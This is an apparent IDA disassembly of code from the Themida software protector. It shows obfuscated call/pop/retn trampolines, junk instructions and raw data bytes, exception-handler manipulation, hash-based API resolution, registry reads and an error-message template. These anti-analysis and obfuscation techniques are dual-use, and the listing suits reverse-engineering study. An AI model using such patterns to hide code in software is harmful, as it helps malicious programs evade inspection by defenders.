sub_57B74A endp ; --------------------------------------------------------------------------- dw 752Eh dd 7A31ADDh, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 3D816BC3h, 0BD8BD270h, 6142659h dd 29006AFCh, 14141D95h, 1006A06h, 142281BDh, 0F98B6606h dd 68h, 0BD958BC0h, 0FF061425h, 16F9D6B5h, 118D8B06h, 0FF061408h dd 14068195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 27C63317h, 0FFF8832Bh, 4BE850Fh dd 0BE90000h, 58000000h, 0C637716Ah, 16424733h, 85FF63FCh dd 6170444h, 351DB501h, 0BD830614h, 6170444h, 0C1840F02h dd 0E9000003h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh dd 8D9B774Dh, 5B243B85h, 0C8B0F00h, 0E9000000h, 7, 0DA8DBAF5h dd 0FFD97379h, 8DCAB1D0h, 5B1E8E85h, 0E2816600h, 0D0FFFEA1h dd 5800Fh, 66600000h, 361F78Bh, 140CB18Dh, 8BC08B06h, 14199D95h dd 0B1BD8306h, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 7D8h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 7D8h, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 12C35545h, 0CDB58992h, 8B061431h, 0A5BD8BC0h dd 6806141Dh, 0F003Fh, 0A0D8D89h, 6A0614h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9BC35747h, 0E2D1D925h dd 85958BF2h, 0F061431h, 583h, 8B665300h, 6A59FBh, 23959D89h dd 95FF0614h, 6140BD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0C0C35343h, 0F970EA68h, 0B3A6CB3Ah, 1655BD8Bh dd 0C0850614h, 535958Bh, 85890614h, 616F95Ah, 0C983F181h dd 0FF681D62h, 6A000F01h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 258AC357h, 0D71224D2h dd 0CDBD83B3h, 61414h, 3F840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9B4722C3h dd 8C85110Fh, 30358589h, 858D0614h, 616F9B7h, 2C19BD23h dd 12E90614h, 89000000h, 1426419Dh, 8D858D06h, 8B0616F9h dd 141BA595h, 0B5FF5006h, 616F95Ah, 915958Bh, 95FF0614h dd 616F952h, 20E59501h, 85890614h, 616F95Eh, 0FBB70F56h dd 4585C759h, 61402h, 83000000h, 16F95EBDh, 840F0006h dd 1A1h, 68D0Fh, 0B5890000h, 614109Dh, 0FC3C858Dh, 6A0616h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 97A8C3h, 8B50B673h, 1409E18Dh, 68B0F06h, 8B000000h dd 14094195h, 66016A06h, 0B5FFCB8Bh, 616F95Eh, 223D958Bh dd 0C2810614h ; --------------------------------------------------------------------------- loc_57BA78: ; DATA XREF: Themida_:00549184o and eax, 0FF747A60h xchg eax, ebp push esi stc push ss push es mov [ebp+61421F9h], ecx push dword ptr [ebp+616F95Eh] mov edi, [ebp+6142989h] call dword ptr [ebp+61402A9h] mov [ebp+61420FDh], ebx push 0F01FFh cmc cmp dword ptr [ebp+61414CDh], 0 jz loc_57BAF1 xor [ebp+61424B9h], ebx lea eax, [ebp+616F9B7h] push 0 push ecx call sub_57BACA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BACA proc near ; CODE XREF: Themida_:0057BAC2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_57BACA endp ; --------------------------------------------------------------------------- dw 0F461h dd 0ED60E2Bh, 891D649Bh, 1545B529h, 22E90614h, 0B5000000h ; --------------------------------------------------------------------------- inc ebp loc_57BAF1: ; CODE XREF: Themida_:0057BAADj lea eax, [ebp+616F98Dh] pusha call sub_57BB06 sbb eax, 0A188E149h mov al, 0B1h out 10h, al ; =============== S U B R O U T I N E ======================================= sub_57BB06 proc near ; CODE XREF: Themida_:0057BAF8p ; FUNCTION CHUNK AT 0057BBCB SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0057C15F SIZE 00000028 BYTES movsx edi, di pop edx mov esi, [ebp+6141A5Dh] popa push eax xor ecx, [ebp+6142165h] jmp loc_57BB24 ; --------------------------------------------------------------------------- aaa xor [edx-1938C60Fh], edx loc_57BB24: ; CODE XREF: sub_57BB06+12j push dword ptr [ebp+616F95Ah] jmp loc_57BB41 ; --------------------------------------------------------------------------- db 0F4h dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh db 2Eh ; --------------------------------------------------------------------------- loc_57BB41: ; CODE XREF: sub_57BB06+24j call dword ptr [ebp+616F952h] and dx, 96EFh mov [ebp+616F95Eh], eax mov di, 0DB2Dh push dword ptr [ebp+616F95Eh] mov [ebp+6141A2Dh], ecx call dword ptr [ebp+616F94Eh] jmp loc_57BB7F ; --------------------------------------------------------------------------- jmp short loc_57BBCB ; --------------------------------------------------------------------------- mov al, ds:88C3C94Ch retn ; --------------------------------------------------------------------------- db 79h, 0EAh, 57h dd 40DB82ADh db 7Fh, 0B3h, 0FCh ; --------------------------------------------------------------------------- loc_57BB7F: ; CODE XREF: sub_57BB06+62j push dword ptr [ebp+616F95Eh] sub [ebp+6140475h], edi jle loc_57BB97 sbb edx, 4C8AD91Ah loc_57BB97: ; CODE XREF: sub_57BB06+85j call dword ptr [ebp+61402A9h] push 0 push edi call sub_57BBA8 and [edi-3Dh], bl sub_57BB06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57BBA8 proc near ; CODE XREF: sub_57BB06+9Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_57BBA8 endp ; --------------------------------------------------------------------------- inc ebx jno short near ptr loc_57BBC5+4 jl short loc_57BC05 pop edx mov dword ptr [ecx-8], 0FFF674E9h loc_57BBC5: ; CODE XREF: Themida_:0057BBB9j inc dword ptr [ecx+2489C8F2h] ; START OF FUNCTION CHUNK FOR sub_57BB06 loc_57BBCB: ; CODE XREF: sub_57BB06+67j sub al, 0FFh mov ch, 0A7h add al, 17h push es sub [ebp+6140A49h], ebx call dword ptr [ebp+6142361h] jbe loc_57BBE7 ; CODE XREF: Themida_:loc_57BC05j mov di, si loc_57BBE7: ; CODE XREF: sub_57BB06+D8j mov eax, [ebp+6142A5Dh] push edi mov [ebp+6140909h], edx pop edi mov cx, ax jmp loc_57C15F ; END OF FUNCTION CHUNK FOR sub_57BB06 ; --------------------------------------------------------------------------- jmp loc_57BC0B ; --------------------------------------------------------------------------- stosb jge short loc_57BC49 loc_57BC05: ; CODE XREF: Themida_:0057BBBBj jnp short near ptr loc_57BBDE+2 ; --------------------------------------------------------------------------- db 0DFh db 0FFh, 0E9h, 0B1h ; --------------------------------------------------------------------------- loc_57BC0B: ; CODE XREF: Themida_:0057BBFDj lea esi, [ebp+616FC5Ch] sub [ebp+6140EE5h], ecx lea eax, [ebp+616A99Ah] push 0 push ecx call sub_57BC28 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BC28 proc near ; CODE XREF: Themida_:0057BC20p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_57BC28 endp ; --------------------------------------------------------------------------- dd 0B4E6ADFh, 1401ADBDh, 0E6E98106h, 8B629259h db 8Dh ; --------------------------------------------------------------------------- loc_57BC49: ; CODE XREF: Themida_:0057BC03j sbb eax, 0FF061424h rol byte ptr [ecx-4F215E16h], 1 jl short near ptr loc_57BCBE+2 add [edi], cl mov edi, 0F995FFD2h db 2Eh adc al, 6 movsx edi, ax mov esi, ebx jmp loc_57BC72 ; --------------------------------------------------------------------------- xor edx, [edx-4AEDBD55h] adc bl, dh loc_57BC72: ; CODE XREF: Themida_:0057BC65j lea eax, [ebp+616A99Ah] add cl, 3Bh jmp loc_57BC8E ; --------------------------------------------------------------------------- dd 54443865h, 13A0690Eh, 0E97D014Dh db 7, 83h ; --------------------------------------------------------------------------- loc_57BC8E: ; CODE XREF: Themida_:0057BC7Bj call eax mov edi, [ebp+6142315h] push 0 mov edx, eax call dword ptr [ebp+6142EF9h] mov eax, eax and edx, 249EB17Ah cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57BCBA cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57BCD3 loc_57BCBA: ; CODE XREF: Themida_:0057BCAFj push eax push ebx mov eax, eax loc_57BCBE: ; CODE XREF: Themida_:0057BC54j mov eax, 7D9h mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_57BCD3: ; CODE XREF: Themida_:0057BCB8j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57BCF3 push eax push ebx mov eax, 7D9h mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_57BCF3: ; CODE XREF: Themida_:0057BCDAj clc sbb di, 0CC19h mov eax, eax push 0 push esi call sub_57BD06 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD06 proc near ; CODE XREF: Themida_:0057BCFEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_57BD06 endp ; --------------------------------------------------------------------------- dw 77F2h ; --------------------------------------------------------------------------- test byte ptr [eax+70BDB9ABh], 0B3h push ax mov ecx, [ebp+61400E5h] mov ebx, eax and ecx, [ebp+61404BDh] push ebx lea ebx, [ebp+61412F5h] mov eax, [ebx] mov [ebx], eax mov eax, [ebx+50h] mov [ebx+50h], eax lea ebx, [ebp+6170440h] mov eax, [ebx] mov [ebx], eax pop ebx push 0 call sub_57BD61 adc [edx-5EACF2ECh], ecx or [esi+ebp*2+5B9030BCh], eax mov eax, ebx ; =============== S U B R O U T I N E ======================================= sub_57BD61 proc near ; CODE XREF: Themida_:0057BD4Dp mov di, 0FC1Ah pop edi jge near ptr loc_57BD7C+2 jns near ptr loc_57BD7C+2 call near ptr loc_57BD7C+1 mov eax, ds:3EBE470Fh loc_57BD7C: ; CODE XREF: sub_57BD61+11p ; sub_57BD61+5j ... sbb byte ptr [edi-73h], 85h sub_57BD61 endp ; sp-analysis failed inc eax add al, 17h push es push eax push 0 push edx call sub_57BD90 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD90 proc near ; CODE XREF: Themida_:0057BD88p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_57BD90 endp ; --------------------------------------------------------------------------- imul eax, esi, -4Eh mov ebp, [edx+60h] mov edx, [ebp+6142C4Dh] lea eax, [ebp+61412F5h] push 0 push ebp call sub_57BDBD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BDBD proc near ; CODE XREF: Themida_:0057BDB5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_57BDBD endp ; --------------------------------------------------------------------------- test eax, 0A8F470AFh push eax jle loc_57BDE8 jmp loc_57BDE8 ; --------------------------------------------------------------------------- dw 8953h dd 0A7D01BE0h, 62D28372h ; --------------------------------------------------------------------------- loc_57BDE8: ; CODE XREF: Themida_:0057BDD3j ; Themida_:0057BDD9j push 0 push 0 push ebp call sub_57BDF5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BDF5 proc near ; CODE XREF: Themida_:0057BDEDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57BDF5 endp ; --------------------------------------------------------------------------- sub al, 6Ah add [edx+0], ch push ecx call sub_57BE13 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BE13 proc near ; CODE XREF: Themida_:0057BE0Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_57BE13 endp ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- cmp eax, [edi+41C50563h] scasb push 1800h mov [ebp+61421BDh], esi push ebx jmp loc_57BE47 ; --------------------------------------------------------------------------- dd 0EC34C62Eh, 0D8456483h db 22h, 3Dh, 13h ; --------------------------------------------------------------------------- loc_57BE47: ; CODE XREF: Themida_:0057BE37j call dword ptr [ebp+6140B61h] push 0 push eax call sub_57BE58 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BE58 proc near ; CODE XREF: Themida_:0057BE50p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57BE58 endp ; --------------------------------------------------------------------------- dd 0E4950B6Dh, 0AE99551h, 0BE000000h, 2A20AC9Ch, 0A33AA132h dd 958951E7h, 6140A51h, 95FFFC5Fh, 6143081h, 0A7B5FFF9h dd 8B061704h, 1415E98Dh, 6195FF06h, 66061423h, 858DCA8Bh dd 61412F5h, 1D198589h, 408B0614h, 0C744B518h, 1421E185h dd 6, 0FABF0F00h, 14CDBD83h, 0F000614h, 4684h, 0EE800h dd 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh, 23F99D29h dd 0F590614h, 58Bh, 0DD5DBA00h, 8C3D32AEh, 0F000000h, 19F83h dd 0B5CCB900h, 23E9751Ah, 0F000000h, 68Dh, 2D9D8900h, 3D061423h dd 98h, 17E830Fh, 8B600000h, 140C1D9Dh, 4DB86606h, 858D6152h dd 5B243Bh, 2E218589h, 0D0FF0614h, 148D0Fh, 0FE90000h dd 1D000000h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh, 0D7814A78h dd 13E04D8Fh, 1E8E858Dh, 8589005Bh, 6140CB9h, 0D1C98166h dd 50D0FFC0h, 0E85BD09h, 0E85A0614h, 14h, 0B193EE47h, 2F74AEC7h dd 23E97164h, 47B5892Eh, 0A4ACE0A4h, 0FE8h, 0B1B17500h dd 0A0362D35h, 7CBD2366h, 0FB761E01h, 0CF5958Bh, 595F0614h dd 0BA66C08Bh, 0BD837AC8h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 0BC6B8h, 49858900h, 8D06141Ah dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 0BC6B8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h dd 0D858958h, 8B06142Dh, 0EDBF60FEh, 8B1AA981h, 1416EDBDh dd 0C08B6106h, 38B0Fh, 0B70F0000h, 4D89BFFFh, 0F8836CE7h dd 29850FFFh, 0C7000000h, 140F2985h, 6, 0E9F08A00h, 0ECh dd 3A6B360h, 1403E18Dh, 31E96106h, 0F000000h, 0BD8BC9BFh dd 6142675h, 0F01F883h, 1F85h, 0E97AB600h, 0FFh, 6E8h dd 0E8F85600h, 0F263C05h, 68Eh, 8C0F00h, 5F000000h, 0FFF1BDE9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A8203A4Ch, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EFBD7CC3h dd 8609E39Dh, 0BD83F585h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 7DDB8h, 49858900h, 8D06141Ah dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 7DDB8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h dd 51F78158h, 665758D8h, 2A0F781h, 0DD80C08Bh, 217E9C9h dd 0D68B0000h, 244858Dh, 0A8B60617h, 16860Fh, 0AE80000h dd 24000000h, 0A1CE56CFh, 669F797Eh, 298D3370h, 59061423h dd 43C8589h, 0B5890617h, 61410C9h, 4FE9h, 0D5958B00h db 5, 14h, 6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57BB06 loc_57C15F: ; CODE XREF: sub_57BB06+F2j lea eax, [ebp+617004Ch] xor edx, 4EB22154h inc eax jnp loc_57C176 mov dx, 5A82h loc_57C176: ; CODE XREF: sub_57BB06+666j mov [ebp+617043Ch], eax push 0 push esi call sub_57C187 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_57BB06 ; =============== S U B R O U T I N E ======================================= sub_57C187 proc near ; CODE XREF: sub_57BB06+679p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_57C187 endp ; --------------------------------------------------------------------------- xchg eax, esi or al, 0FCh mov cl, 9Ah mov [ebp+61402F9h], ecx sub [ebp+6142025h], edx push 34h lea eax, [ebp+6140795h] push eax push dword ptr [ebp+617043Ch] push 0 call dword ptr [ebp+61402C1h] cmp eax, 7 jz loc_57C330 mov bx, ds test bl, 4 jnz loc_57C2D6 mov byte ptr [ebp+6141A59h], 56h push 9CA8B852h push dword ptr [ebp+6141145h] lea eax, [ebp+6143B13h] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+61704AFh], eax mov byte ptr [ebp+6141A59h], 47h push 0EC18AC9Bh push dword ptr [ebp+6141145h] lea eax, [ebp+6143B13h] call eax call eax mov esi, eax mov byte ptr [ebp+6141A59h], 4Fh push 0C62F2661h push dword ptr [ebp+6143481h] lea eax, [ebp+6143B13h] call eax lea ebx, [ebp+61704ABh] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+6141A59h], 41h push 0DB876498h push dword ptr [ebp+6143481h] lea eax, [ebp+6143B13h] call eax mov [ebp+61704C8h], eax mov byte ptr [ebp+6141A59h], 4Ch push 80A4E7A4h push dword ptr [ebp+6143481h] lea eax, [ebp+6143B13h] call eax mov ebx, [ebp+61704AFh] lea ebx, [ebx+4] push ebx lea ebx, [ebp+61704B4h] push ebx push 0 call eax mov ebx, [ebp+61704AFh] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+61405F5h] mov dword ptr [ebp+6141199h], 0 push 0 push 0 push 0 mov ebx, [ebp+61704AFh] push ebx push 0 push dword ptr [ebp+61704ABh] call dword ptr [ebp+61704C8h] loc_57C2D6: ; CODE XREF: Themida_:0057C1CEj mov byte ptr [ebp+6141A59h], 45h push 92A5F797h push dword ptr [ebp+6140931h] lea eax, [ebp+6143B13h] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_57C330 mov ebx, [ebp+61704AFh] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+61704AFh] push ebx push 0 push dword ptr [ebp+61704ABh] call dword ptr [ebp+61704C8h] push dword ptr [ebp+61704ABh] call dword ptr [ebp+6143081h] loc_57C330: ; CODE XREF: Themida_:0057C1C2j ; Themida_:0057C2FCj push 0 call dword ptr [ebp+6142EF9h] clc loc_57C339: ; CODE XREF: Themida_:loc_57B218j lea eax, [ebp+6173875h] sub [ebp+6142AC5h], edi push eax mov ecx, [ebp+614113Dh] push large dword ptr fs:0 cld mov large fs:0, esp movzx ecx, cx cmp dword ptr [ebp+6142309h], 0 jz loc_57C3AF mov dl, 0BEh cmp dword ptr [ebp+61412CDh], 1 jnz loc_57C3AF cmp byte ptr [ebp+61708C8h], 0 jnz loc_57C3AF mov edx, [ebp+614033Dh] jmp loc_57C568 ; --------------------------------------------------------------------------- push 0 push ebx call sub_57C39D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C39D proc near ; CODE XREF: Themida_:0057C395p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_57C39D endp ; --------------------------------------------------------------------------- ja short locret_57C418 loc_57C3AF: ; CODE XREF: Themida_:0057C365j ; Themida_:0057C374j ... xor ebx, ebx call sub_57C3C2 mov esp, 0E369634Bh cmc inc ecx ; --------------------------------------------------------------------------- db 0FEh, 0EFh, 14h db 0D0h, 86h ; =============== S U B R O U T I N E ======================================= sub_57C3C2 proc near ; CODE XREF: Themida_:0057C3B1p ; FUNCTION CHUNK AT 0057C3EC SIZE 00000001 BYTES ; FUNCTION CHUNK AT 0057C431 SIZE 00000002 BYTES mov [ebp+61402D5h], edi pop edi xor eax, eax jg loc_57C3EC call sub_57C3E8 jecxz short loc_57C431 add eax, 0CE2E0ED3h imul esp, [eax+68h], 1BC158Ah pop esi insd stosb lodsb sub_57C3C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57C3E8 proc near ; CODE XREF: sub_57C3C2+Fp sub dl, 62h pop edx sub_57C3E8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_57C3C2 loc_57C3EC: ; CODE XREF: sub_57C3C2+9j inc eax ; END OF FUNCTION CHUNK FOR sub_57C3C2 ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 58F640Bh, 0 dd 0E804C483h, 7, 724ED64Eh, 8B4044E4h, 140C51BDh, 6A5F06h dd 3E857h, 5F200000h ; --------------------------------------------------------------------------- locret_57C418: ; CODE XREF: Themida_:0057C3ADj retn ; --------------------------------------------------------------------------- pop edi mov [esp+4], edi add dword ptr [esp+4], 14h inc edi push edi retn ; --------------------------------------------------------------------------- mov ah, 8Ah rol dword ptr [ebx-7BF00005h], 1 ; START OF FUNCTION CHUNK FOR sub_57C3C2 loc_57C431: ; CODE XREF: sub_57C3C2+14j adc [eax], eax ; END OF FUNCTION CHUNK FOR sub_57C3C2 ; --------------------------------------------------------------------------- db 0 dd 34C28100h, 0E915919Ah, 11Eh, 304D8D29h, 94E90614h, 66000000h dd 8D8BFA8Bh, 6140C65h, 0C244C8Bh, 0A481C7h, 0FFFF0000h dd 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h dd 173897EDh, 0B8838B06h, 8D000000h, 17398985h, 0B8838906h dd 5D000000h, 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0E6C4C357h, 0EB80364Dh dd 6A4725C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0C426C355h, 9B75B464h, 0D8D8B45h dd 8D061421h, 17388D85h, 598D8B06h, 5006142Ah, 12E9h, 7F1D2A00h dd 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh, 6479D5EFh, 35FFh dd 958B0000h, 6141A89h, 30ADBD09h, 89640614h, 25h, 0EE900h dd 98E60000h, 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 631B509h dd 0AB90614h, 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh dd 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h dd 85C70A75h, 6141B0Dh, 1 ; --------------------------------------------------------------------------- loc_57C568: ; CODE XREF: Themida_:0057C38Dj pop large dword ptr fs:0 add esp, 4 sbb edi, 15DFAE24h mov [ebp+6140D45h], edx mov eax, eax pusha adc ebx, 51315018h jmp loc_57C59F ; --------------------------------------------------------------------------- dd 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh db 0BDh, 43h, 2Fh ; --------------------------------------------------------------------------- loc_57C59F: ; CODE XREF: Themida_:0057C587j popa cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57C5B2 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57C5CB loc_57C5B2: ; CODE XREF: Themida_:0057C5A7j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+61430C1h], eax lea ebx, [ebp+616B7A1h] call ebx pop ebx pop eax loc_57C5CB: ; CODE XREF: Themida_:0057C5B0j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57C5EB push eax push ebx mov eax, 43Dh mov [ebp+61430C1h], eax lea ebx, [ebp+616B442h] call ebx pop ebx pop eax loc_57C5EB: ; CODE XREF: Themida_:0057C5D2j jmp loc_57C5F6 ; --------------------------------------------------------------------------- dd 423CC1B0h db 2Dh, 0CDh ; --------------------------------------------------------------------------- loc_57C5F6: ; CODE XREF: Themida_:loc_57C5EBj or dx, 46Dh movsx ecx, cx mov eax, eax jmp loc_57C74C ; --------------------------------------------------------------------------- db 4, 2 dup(0) dd 392E3100h, 3031h, 6 dup(0) db 0 db 2 dup(0), 45h aXceptionInform db 'xception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_57C74C: ; CODE XREF: Themida_:0057C600j cmp dword ptr [ebp+6140D09h], 0 jz loc_57C886 lea eax, [ebp+616B259h] push eax lea eax, [ebp+616B1C3h] push eax push 80000001h call dword ptr [ebp+616B269h] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A30h] push eax push 0 push 0 lea eax, [ebp+616B1D7h] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A34h] push eax push 0 push 0 lea eax, [ebp+616B1E9h] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A40h] push eax push 0 push 0 lea eax, [ebp+616B236h] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A48h] push eax push 0 push 0 lea eax, [ebp+616B254h] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A44h] push eax push 0 push 0 lea eax, [ebp+616B23Dh] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A38h] push eax push 0 push 0 lea eax, [ebp+616B245h] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] lea eax, [ebp+6173A26h] push eax lea eax, [ebp+6173A3Ch] push eax push 0 push 0 lea eax, [ebp+616B24Ch] push eax push dword ptr [ebp+616B259h] call dword ptr [ebp+61402EDh] push dword ptr [ebp+616B259h] call dword ptr [ebp+6141CF5h] jmp loc_57C928 ; --------------------------------------------------------------------------- loc_57C886: ; CODE XREF: Themida_:0057C753j cmp dword ptr [ebp+61423E9h], 0 jz loc_57C928 cmp dword ptr [ebp+61412CDh], 0 jnz loc_57C8B1 mov edx, [ebp+6142421h] add edx, 1CF8h jmp loc_57C8C0 ; --------------------------------------------------------------------------- loc_57C8B1: ; CODE XREF: Themida_:0057C89Aj lea edx, [ebp+61412F5h] mov edx, [edx+34h] add edx, 3BD4C340h loc_57C8C0: ; CODE XREF: Themida_:0057C8ACj mov [ebp+61434F1h], edx cmp dword ptr [ebp+61434F1h], 0 jz loc_57C928 mov ebx, [ebp+61434F1h] add ebx, 4Ch mov eax, [ebx] mov [ebp+6173A30h], eax mov ebx, [ebp+61434F1h] add ebx, 50h mov eax, [ebx] mov [ebp+6173A34h], eax mov ebx, [ebp+61434F1h] add ebx, 54h mov eax, [ebx] mov [ebp+6173A40h], eax mov ebx, [ebp+61434F1h] add ebx, 58h mov eax, [ebx] mov [ebp+6173A44h], eax mov ebx, [ebp+61434F1h] add ebx, 5Ch mov eax, [ebx] mov [ebp+6173A38h], eax loc_57C928: ; CODE XREF: Themida_:0057C881j ; Themida_:0057C88Dj ... cmp dword ptr [ebp+6140D09h], 0 jnz loc_57C942 cmp dword ptr [ebp+61423E9h], 0 jz loc_57C9AA loc_57C942: ; CODE XREF: Themida_:0057C92Fj push dword ptr [ebp+6173A48h] push dword ptr [ebp+6173A3Ch] push dword ptr [ebp+6173A38h] push dword ptr [ebp+6173A44h] push dword ptr [ebp+6173A40h] push dword ptr [ebp+6173A34h] push dword ptr [ebp+6173A30h] lea eax, [ebp+6173A2Ah] push eax lea eax, [ebp+6173A62h] push eax lea eax, [ebp+6141DB5h] push eax call dword ptr [ebp+6141509h] add esp, 24h push 40h lea eax, [ebp+6173A4Ch] push eax lea eax, [ebp+6141DB5h] push eax push 0 call dword ptr [ebp+61402C1h] push 1 call dword ptr [ebp+6142EF9h] loc_57C9AA: ; CODE XREF: Themida_:0057C93Cj mov eax, ecx jmp short loc_57C9C6 ; --------------------------------------------------------------------------- dw 0F317h dd 9B46h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_57C9C6: ; CODE XREF: Themida_:0057C9ACj jmp loc_57CBD6 ; --------------------------------------------------------------------------- loc_57C9CB: ; CODE XREF: Themida_:0057C9E0j pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 6173DF6h popa retn 4 ; --------------------------------------------------------------------------- jmp loc_57C9CB ; --------------------------------------------------------------------------- loc_57C9E5: ; CODE XREF: Themida_:0057C9EAj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C9E5 ; --------------------------------------------------------------------------- loc_57C9EF: ; CODE XREF: 